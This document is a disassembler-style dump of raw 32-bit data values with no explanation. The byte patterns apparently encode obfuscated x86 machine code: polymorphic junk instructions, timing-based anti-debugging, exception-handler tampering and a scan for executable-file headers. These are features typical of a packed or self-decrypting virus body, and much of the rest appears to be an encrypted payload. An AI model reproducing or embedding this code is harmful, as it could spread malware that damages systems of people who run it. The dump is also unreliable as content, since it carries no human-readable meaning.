		dd 24928200h, 0E0366DD2h, 0E8273D0Eh, 16D7F9Ah,	585A585Ah
		dd 89240489h, 712D58Dh,	9195FF06h, 0E806071Bh, 11h, 0EA5231F7h
		dd 0A6490872h, 0C4C2E751h, 51938E40h, 0BAD7816Ah, 5F1ACBE3h
		dd 0E99D8B61h, 0C7060726h, 7006985h, 306h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0D998FA76h, 0EDE1140Eh, 800FE474h, 2, 0BD89DA8Ah, 6070601h
		dd 0B372BD83h, 0F00060Ah, 2884h, 0E8525000h, 13h, 0BBFF2193h
		dd 6FD2BE13h, 673E8F0Bh, 7800D638h, 5FE6EEB0h, 21E95B5Bh
		dd 0B000000h, 730659Dh,	0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 1509BD03h, 0BF600607h, 67244898h
		dd 6850Fh, 0B5890000h, 6072C1Dh, 69BD8361h, 3060700h, 53C850Fh
		dd 0FE8B0000h, 96808ABBh, 72BD8309h, 60AB3h, 528840Fh
		dd 9D0B0000h, 6071049h,	0B372B5FFh, 6A060Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 660B1FC3h
		dd 2AD5DB81h, 154595FFh, 9D8B0607h
		dd 60706B5h, 0B366B58Bh, 0EE9060Ah, 0EE000000h,	0A3132E4Dh
		dd 8652D54Eh, 5D9B2DD8h, 106C79Fh, 0E8000100h, 0Fh, 477243AAh
		dd 9C2721ABh, 333B5EA7h, 66ECE32Ah, 5B8456BBh, 50DA8B96h
		dd 565298BBh, 6056966Fh, 860Fh,	0BD2B0000h, 6073169h, 0B5FF5B61h
		dd 60AB372h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	7CC35242h, 0E87B8703h, 0Dh, 0D5C55174h,	975B86E7h
		dd 119474DDh, 0EF8166DCh, 0FF5F5036h, 7091195h,	9E906h
		dd 3BC90000h, 0BD67A944h, 8B90E018h, 0AB366B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 6E785ED2h, 0C59589h,	858B0607h, 6072CC9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 33736BC0h
		dd 491ECA42h, 0DE9h, 0B53F6100h, 0DE5F101Dh, 8ADAA4B1h
		dd 868960EFh, 0C4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0B8C35040h, 9C1FC6DBh, 0E960C63Fh, 14h
		dd 60862A2Ch, 3F4F01AFh, 904B9B53h, 0D9A21FECh,	8DDB95D0h
		dd 61F2B70Fh, 1B41958Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 3A5846C3h, 791EFA24h
		dd 8BC983FFh, 72B059Dh,	259D8906h, 8306072Bh, 6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8166E3C3h, 8908BBDFh, 880F2050h, 0Ch, 7E9h, 0D6647E00h
		dd 97541B94h, 8E9h, 0A1DB2900h,	0AD9D4901h, 0ED858D00h
		dd 60060AC7h, 318509h, 8B660607h, 868961FAh, 0B8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 79C35242h, 6EF24B6Dh
		dd 0CB43B9E2h, 0F1DDF80h, 586h,	0FF4BBB00h, 6A75B2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6FC35747h, 8D89982Dh
		dd 6072D5Dh, 0B372B5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0BE5F30C3h, 668BC86h
		dd 0E9B01B80h, 0Fh, 5CC20F76h, 54491669h, 382E90FDh, 31C1FFC7h
		dd 723199Dh, 0FD95FF06h, 6A060729h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B1F3C352h
		dd 0DAB35DA7h, 2BF9B70Fh, 71FB19Dh, 0BE85006h, 54000000h
		dd 3F4746D0h, 1782511Bh, 0BB66696Dh, 895BDC54h,	6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0BB918BC3h, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0B975A2C3h
		dd 43BF66BCh, 0A595FFE9h, 6A06071Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 87A3C351h
		dd 8AC2D7DBh, 0ADBD83DDh, 60708h, 2B840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F2432AC3h, 0D88B5076h, 81243489h, 0B2F49DEBh, 72B5FF7Eh
		dd 6A060AB3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 44F4C355h, 2BC52750h, 595FF99h
		dd 6A060726h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 1C38C352h, 99996497h, 9D8B7E84h
		dd 6072249h, 0B372B5FFh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 6078D0C3h, 0D9B63761h
		dd 6E95753h, 6F000000h,	3319A0h, 0FF5F5BFFh, 71DF195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E9F6FBADh, 14h,	26A6044Bh, 39180C72h, 0AA6988h
		dd 0F79F508Ch, 4CCCE34Ah, 89FEBF0Fh, 73121BDh, 0B1BD8306h
		dd 2060703h, 5D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0E72D8CC3h, 0F38166EEh
		dd 858B39BCh, 6070749h,	0AE9F860h, 46000000h, 0C03821E2h
		dd 5D704EC4h, 0C66196h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0C75F50FAh, 70F4985h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 9CAD6136h, 0D59D2925h, 0E9060730h
		dd 6, 58F73D5Eh, 0BF66EB55h, 2BE9B93Bh,	6AFFFFF3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0B21FC350h, 0D159C7B2h, 148A0F62h, 0E8000000h, 8, 795DE505h
		dd 9DEFBD7Ch, 174DB589h, 8B5F0607h, 55006AC1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0DC68C263h
		dd 19858D39h, 0F06071Fh, 68Eh, 399D8B00h, 50060715h, 48976B3h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0ACE900EDh, 0B6CD4F7Fh, 6A6957h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BC35646h, 37B57944h
		dd 73ADCEAAh, 26FD4FBFh, 0CCDF8158h, 6A58A3ACh,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 3C5073BAh, 0F1498DC3h, 9D8B8F06h, 6072299h, 8D30DF80h
		dd 0C1DDD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8951B896h, 7056DB5h, 5C08306h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 10C35141h, 366D5FBFh
		dd 10E89036h, 48000000h, 9829FE73h, 8B9F74DEh, 0A42CA1ACh
		dd 0E8100337h, 0Fh, 3708501Fh, 1C94F107h, 0D40BA653h, 50572551h
		dd 5A310F52h, 505F5F58h, 38E0Fh, 8B660000h, 6A90F8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0C76A5EC3h, 6A69C1h,	1231B589h, 6A0607h, 95FF8CB7h
		dd 6071BCDh, 0A5B78D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 14AEA7C3h, 0FE9h, 491A8300h
		dd 38450480h, 682E4024h, 14AAA518h, 6AD1FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A8EA70C3h
		dd 95BD83AFh, 1060719h,	28850Fh, 0BB660000h, 26A45E5h
		dd 30118D89h, 7FBB0607h, 90076D51h, 0F2E8BF66h,	48BB6650h
		dd 8166904Ah, 0FF9AA8EFh, 729FD95h, 8CE9F506h, 0E800000Eh
		dd 0
		dd 0E7ED815Dh, 6A060C1Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4B4FC353h, 0D1EF8166h
		dd 49B589B6h, 6A06072Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0B0F2C353h,	11BB4078h
		dd 8D0724EFh, 0A910A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0A30378B9h, 8952D9FEh
		dd 718B185h, 0F505F06h,	58Ah, 1C78BF00h, 4897077h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 64B98D33h, 0A8BF664Bh, 53EB8112h, 646F4E47h,	35FFh
		dd 890F0000h, 11h, 5E8h, 10653100h, 8F0F0477h, 0
aDi		db '[d%',0
		align 4
		dd 0FFF98B66h, 70FA585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 84B5B424h, 10B0DA0Ah
		dd 19BD31E8h, 6A060712h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0CC78DC19h, 9589A7D3h
		dd 6070FC1h, 3095BD29h,	0B5FF0607h, 60712DDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CC35242h, 0FFA3929Bh
		dd 3DB5018Dh, 106071Dh,	71E399Dh, 81BD2306h, 0FF06071Ah
		dd 7303595h, 121E906h, 0FE90000h, 2E000000h, 22CD0322h
		dd 0B578AB60h, 0B2EEC460h, 0B04BEBh, 0C2D9509h,	70E60607h
		dd 18FD8509h, 71E40607h, 2A4D9D03h, 613C0607h, 0ED830Fh
		dd 9D290000h, 60718E5h,	50C8B60Fh, 5FD9D03h, 0BA5B0607h
		dd 6, 6880Fh, 85290000h, 6070AE5h, 0E381C18Bh, 531C89A3h
		dd 0F04E8C1h, 88Bh, 8D015000h, 607261Dh, 0E2F7665Fh, 5E9h
		dd 95B52700h, 0C82B836Eh, 1B759D89h, 9D2B0607h,	6072F79h
		dd 0B589D18Bh, 6070731h, 8AE9h,	0FA8B6600h, 554C858Bh
		dd 9D2B4947h, 6072A59h,	0E907C083h, 13h, 62A8E747h, 9EBB5C54h
		dd 821EF51Eh, 7E459A2Eh, 83F34435h, 8BB00C0h, 3B7843AAh
		dd 1E830FD0h, 89000000h, 70F8DB5h, 0C810F06h, 0E9000000h
		dd 7, 0A3D4CD55h, 0E9BB4559h, 33h, 0FF8D8BF8h, 0BFFFFFFh
		dd 7168D9Dh, 1E18306h, 1D840Fh,	8D890000h, 6072719h, 0FFFFA583h
		dd 0F9FEFFFFh, 554C9589h, 0B7564947h, 0E95FC4h,	8D000000h
		dd 0B9D16B5h, 7E806h, 25120000h, 3A380BEAh, 0DE904h, 0D3170000h
		dd 36C789C0h, 65DDCE1Ah, 5F684534h, 8960006Ah, 71CF995h
		dd 6840F06h, 81000000h,	0CD8DF1D8h, 95FF6151h, 6073201h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B1C35646h
		dd 13A84EECh, 13A289B5h, 0E870F53h, 0E9000000h,	9, 0A9379AB0h
		dd 513BA480h, 0C3B95FA2h, 6A00000Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 784EC357h
		dd 65BD03FEh, 8306071Ah, 890FFCE1h, 6, 0B158589h, 0FFC0607h
		dd 0C02BD8BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	24C35545h, 6C929A9Dh, 0F5B54F57h, 12E9D22Bh, 0F0000000h
		dd 8E8A7314h, 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 0C233AD9Fh
		dd 0D003E8D1h, 7504E983h, 9E9F4h, 0C24A0000h, 0D97DB189h
		dd 6ACE61F9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0D8C3C356h, 8E0F5240h,	6, 6C9B589h
		dd 820F0607h, 5, 0D7F78166h, 880DF7h, 0BD8B0000h, 60718BDh
		dd 1B41958Bh, 8C0F0607h, 0
		dd 6058D8Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 6D2F33C3h, 89F599B1h, 7060985h
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 5665C355h, 890F2E64h, 6, 2D25BD8Bh, 0BB660607h
		dd 6ADFFDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 5B9243C3h, 0A49D403h, 19820Fh, 14E90000h
		dd 0C9000000h, 0F13752CCh, 0F81E2B24h, 61E6B0E0h, 2A3F103Dh
		dd 83AB86B7h, 70BD1BDh,	840F0006h, 0B5h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 0E7C35545h, 23A31633h
		dd 99D8BF8h, 0B8060726h, 0
		dd 2A29B501h, 8D8D0607h, 6074DB4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 35C35343h, 2CA65AF1h, 39B54323h
		dd 73EB8143h, 0E93259FEh, 0Ah, 13F7AE28h, 483A247Ah, 0E1FF83B8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 77C35040h
		dd 0F713229Eh, 0D62C0B5Eh, 0E9FAB70Fh, 9, 2BCC5063h, 2468FAE6h
		dd 68C0F30h, 29000000h,	7258D8Dh, 69BD8306h, 60700h, 425840Fh
		dd 9D8B0000h, 6071CDDh,	69BD83h, 0F010607h, 42D84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 60B6C610h, 0FD0BF0Fh, 8361D0BFh, 70069BDh, 860F0306h
		dd 3C4h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0F2C35545h, 8A28B76Ch, 1B509F9h, 60060733h, 2C5D8D89h
		dd 8C660607h, 558D89D9h, 66060712h, 806D29BFh, 0D78104E1h
		dd 6E8DE4D1h, 840FC90Ah, 0EDh, 2F799529h, 858B0607h, 607306Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2EC35141h
		dd 0B581B3F2h, 33FC51CFh, 7330585h, 3DBD8B06h, 80060723h
		dd 0B750B0C3h, 24048961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 5FC35545h, 65456B72h,	8B66A2ECh, 9D9D8BFBh
		dd 6A060703h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 7D9D9930h, 0D4C7076Dh, 68D98B66h
		dd 1B3F7FEh, 800Fh, 34810000h, 0ACF40124h, 3B23BF01h, 95FF556Dh
		dd 6071B91h, 728589F5h,	6A060AB3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BE7EC351h
		dd 1B13C697h, 99BD8BC5h, 0E906072Fh, 236h, 0A4DB8166h
		dd 6A858B47h, 66060AB3h, 0C7DA8Bh, 18h,	0B36EB58Bh, 6A060Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 19261C3h, 0E50CF554h, 14E93Eh, 821D0000h, 89967BEBh
		dd 71C3C0CDh, 9ECBB28Eh, 0E61B9E2Eh, 0B589182Ah, 6070139h
		dd 1579858Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0FFE6D6C3h, 13E90689h, 0B000000h
		dd 0E3F14CCh, 1F4D19E2h, 116E939Dh, 0F0106856h,	858BBBD1h
		dd 607306Dh, 0D840Fh, 8E90000h,	0F7000000h, 3A468D6Eh
		dd 895A6402h, 0BD8B0446h, 6072CE1h, 0B022BF96h,	0E9502433h
		dd 10h,	10067846h, 68A1506Eh, 7BCE50B5h, 0AE01AC6Bh, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0A7CC8CBCh, 988C488Eh, 952950EBh, 6071BF9h, 6AB5FF5Fh
		dd 0F060AB3h, 0C85h, 6800F00h, 8B000000h, 73021BDh, 10E906h
		dd 7CF0000h, 0C3386A99h, 3F52A4A9h, 0BB0B8B7Ch,	4E8489Fh
		dd 0FF000000h, 0B3001F03h, 525050B4h, 2800Fh, 0D98B0000h
		dd 8D0F310Fh, 0
		dd 448B585Ah, 8B0424h, 0E8E0Fh,	9E90000h, 2000000h, 55C8547Eh
		dd 0DC0371Bh, 4244489h,	13E8h, 0DCFBA300h, 0E680DBC2h
		dd 75F47B71h, 0C4BEADDBh, 0EEE1F73Ch, 5BFA8B66h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0A96B6618h, 0ECBCEA3Ch, 9D8B14ABh, 60731A9h,	14E9h
		dd 35235E00h, 0E0029E57h, 922BC81Ah, 0FD6E2713h, 268658B2h
		dd 72858DD2h, 89060AB3h, 726298Dh, 50609006h, 0F87B452h
		dd 0F525031h, 5A585A31h, 61F38B58h, 0CE850h, 9A6C0000h
		dd 0B05A33EBh, 0F37EDB90h, 905FF2AAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 91C35747h, 9D33BFFEh, 6072365h
		dd 3159BD8Bh, 95FF0607h, 6071B91h, 8961E3B3h, 700C9B5h
		dd 619D8B06h, 0C706070Bh, 7006985h, 306h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0C232C59Ch, 0E85B8161h, 0B372BD83h, 0F00060Ah, 1384h
		dd 0D9952900h, 8106072Ch, 0ADB052CBh, 1DE90Fh, 13B30000h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 840EC350h, 85E1BCF5h, 2E959D29h, 0BD830607h
		dd 6070069h, 3B850F03h,	8B000004h, 72BD83F9h, 60AB3h, 42C840Fh
		dd 81660000h, 0FF0733C7h, 0AB372B5h, 89BD8B06h,	0FF060703h
		dd 7154595h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0C48F71D2h, 40C18CBFh, 0E8EAB3E5h
		dd 0Eh,	58B39B1Bh, 0BB279621h, 0C5CBEFBBh, 9589F0F7h, 60723DDh
		dd 66B58B5Fh, 0B7060AB3h, 0C5B5297Dh, 0C706071Eh, 1000106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0E381C559h, 6A61E323h, 0F525050h, 585h
		dd 0C8E6BF00h, 310F5CBFh, 585AFA8Bh, 8B243489h,	717A99Dh
		dd 72B5FF06h, 0E9060AB3h, 12h, 0A3AE7CB4h, 0F421063Bh
		dd 0DC61B76Bh, 438974E0h, 0FA8B1B9Bh, 91195FFh,	0BB660607h
		dd 0B58B4E6Ch, 60AB366h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 0A8C35141h, 858B265Fh, 6072CC9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 94C35747h, 0CD5B8464h
		dd 8909890Ah, 0C486h, 0FE900h, 7F800000h, 61455F3h, 740D4774h
		dd 547E02C4h, 41958BC8h, 6A06071Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3ADFC353h
		dd 311851F1h, 7056D85h,	4C28306h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0ECC35545h,	747BF104h, 0DBB70F3Ah
		dd 6A205089h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 997BC350h, 38F98E46h, 0E90445E8h
		dd 10h,	6C376753h, 709718CAh, 1624960Ch, 5762FD1Eh, 0C7ED858Dh
		dd 0D781060Ah, 3BF61A87h, 0B88689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD0934C3h
		dd 60708C5h, 0B5FF006Ah, 60AB372h, 0E6D2BF66h, 29FD95FFh
		dd 9D8B0607h, 6070411h,	24348950h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0ADC35040h,	6131C4B9h, 75EE1116h
		dd 0AE9h, 18188500h, 7D1CBE35h,	0FFDB6C56h, 0AB372B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 67E3136Eh, 0E4A1F4C7h, 1AA595FFh, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 2F5A20C3h, 0A40C7E6Ah, 12E95C97h, 0BE000000h, 0C65C1114h
		dd 0A5D704DAh, 0AFA1C1CFh, 37DD80B8h, 0ADBD8342h, 60708h
		dd 52840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 49C922C3h, 0C01C33D5h, 0E3819938h
		dd 0B1DA00Bh, 8B665096h, 10E896FBh, 0F9000000h,	9D1E36B3h
		dd 0F52A359Ch, 0DCCC5382h, 0F4B967Dh, 68Ah, 8A0F00h, 5F000000h
		dd 0B372B5FFh, 0BF0F060Ah, 595FFFBh, 0E8060726h, 11h, 7F55846Eh
		dd 0D448A6BEh, 67384E7Ch, 0EFE05D82h, 7E8E6h, 33F00000h
		dd 87B378C9h, 0FBB70F2Bh, 0B5FF5F5Bh, 60AB372h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6DC35242h, 0C78BB880h
		dd 95891C98h, 6070931h,	1DF195FFh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 754D3FC3h
		dd 8596DF3Ah, 0B1BD83CBh, 2060703h, 6C840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 19DCC8C3h, 4DFEAFB7h, 501664BEh, 5FDBBF0Fh, 10E9h, 39A79D00h
		dd 0E4950B6Dh, 27A29551h, 5FC3C647h, 49858BEBh,	6A060707h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 5E8AC357h, 0EE4AC20h, 0C68F79h, 85C7F900h
		dd 6070F49h, 0
		dd 0B699529h, 0C0E90607h, 0FFFFFF2h, 8Fh, 6AC18B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 2B36C352h, 8B9BA930h, 0BF0F60FAh, 1683BEC0h,	0E86126A5h
		dd 9, 0FA4BD551h, 0DEA2421Bh, 0F5B58B9Eh, 5806071Fh, 66E1C081h
		dd 958B0000h, 6072C55h,	199668h, 0F6816600h, 895B9E9Fh
		dd 706B9BDh, 8B388B06h,	70BA995h, 0B0F78106h, 90092F6h
		dd 7102195h, 7FC78106h,	297C1F36h, 72D918Dh, 0A3C78106h
		dd 2967E6F5h, 70AADBDh,	8FF95706h, 5800F00h, 66000000h
		dd 6615DE81h, 3B3EE881h, 950B6F71h, 6072601h, 3B3AC081h
		dd 85896F71h, 6070589h,	0A6850F4Bh, 29FFFFFFh, 7157595h
		dd 0BA06h, 0EA81F00Eh, 0F0000000h, 8914C283h, 72C5195h
		dd 14EA8306h, 2DA6858Dh, 6450060Ch, 35FFh, 89640000h, 25h
		dd 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h
		dd 1285h, 50B70F00h, 81D0033Ch,	45503Ah, 0A840F00h, 2D000000h
		dd 1000h, 0FFFFD9E9h, 89C88BFFh, 70FCD85h, 3C400306h, 650B70Fh
		dd 2CE99589h, 508B0607h, 7D958950h, 5060719h, 0F8h, 30C508Bh
		dd 99589D1h, 3060722h, 95890850h, 60726E1h, 58F64h, 83000000h
		dd 13E904C4h, 51000000h, 10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 0BD83C3C0h, 60732B9h, 24840F00h, 0C6000000h
		dd 71C4D85h, 0D2684706h, 0FFD49AA7h, 712EDB5h, 0FE858D06h
		dd 0FF060A7Ch, 0FF006AD0h, 0A98589D0h, 8B06071Ch, 0CD8D8DD3h
		dd 6A060C2Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8BB9C355h, 71B3DBDh, 418D8906h
		dd 6A06071Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0FC41C351h, 858BF994h,	6071539h
		dd 68B0Fh, 850B0000h, 60723A1h,	49BD8B53h, 5E060717h, 60585C7h
		dd 63100607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0C66E2EC3h, 6985C7h, 607h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8166D7C3h, 664944C3h, 76A0EB81h, 2B21B5FFh, 0B58B0607h
		dd 6070199h, 1E195FFh, 0BE660607h, 8166DD6Ah, 6ACB04E0h
		dd 195FF00h, 8B060732h,	127DEBC0h, 57428EC1h, 0D477E055h
		dd 76ED1ADh, 0F32840CEh, 4C5E7E2Ch, 4C070C2Fh, 0ECFAA286h
		dd 7EFCA3C9h, 0D7ABEDAEh, 0A765CED2h, 9DD4A71h,	7039F0C8h
		dd 6819171Eh, 54889E5Dh, 751A97E2h, 0B3FD4921h,	0D38C47Ah
		dd 8B40E72Fh, 710952Fh,	11CF7530h, 57E95C5h, 0CEC658F2h
		dd 11A689D1h, 0B022FD5Eh, 0CDE4C1C8h, 0D3C6576Dh, 5D297DC1h
		dd 22946FD5h, 40E66161h, 3C2B12D0h, 0B8462BECh,	304B8D8Dh
		dd 5E9060Ch, 0AF000000h, 6B4F8DA1h, 1B418D89h, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0D60104C3h, 3BBBA7AFh, 0DE94ABEh, 1B000000h,	268C4EE8h
		dd 1DC3CC88h, 0AACFC89Eh, 60585C7h, 6C6C0607h, 85C70000h
		dd 6070069h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 98C35242h
		dd 0B52CC010h, 0A9BD8B0Ch, 0FF06070Bh, 732C9B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 32CB808Fh, 1E195FFh,	6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0CA1F04C3h, 0F6546C29h
		dd 1B8D0Fh, 13E80000h, 96000000h, 0C62B6CC6h, 0B1C1BF6Fh
		dd 9050F725h, 0ACEB7D3Bh, 0DEB6F881h, 0FF006A5Bh, 7320195h
		dd 0EBC08B06h, 1316E36Fh, 0B2C4A46Bh, 6B91DB79h, 85C5392h
		dd 0D0826083h, 0D3D39824h, 49178EFCh, 634505Bh,	0D8320B94h
		dd 7A00C839h, 45114F13h, 0B57158A3h, 5DC6B93Fh,	0C764F59Ch
		dd 701A386Bh, 6FC8BE49h, 0A011B041h, 5B1A1EBh, 833C903Bh
		dd 480B5AB4h, 469B2083h, 0F4AD0928h, 7F463877h,	0F41F6E79h
		dd 57648579h, 0AEFBC577h, 646E9C20h, 0C3C38A86h, 0E772200Dh
		dd 0B072495Eh, 732D6A5Bh, 940EC3F2h, 9436CBD2h,	0B0725F6Fh
		dd 73250DB5h, 0BF122886h, 77DB1D2h, 0BE9B2B64h,	11724A5Bh
		dd 2506568Ah, 0B7792D41h, 76AAD32Eh, 31B2C1FBh,	0AAD70B11h
		dd 0B1CFC951h, 0B0744D87h, 0DF1432Eh, 0B67540F8h, 0E06B3ED6h
		dd 8B2C138h, 0B0724EB6h, 9BDFCF53h, 2DFF4C6Ah, 0B67BF944h
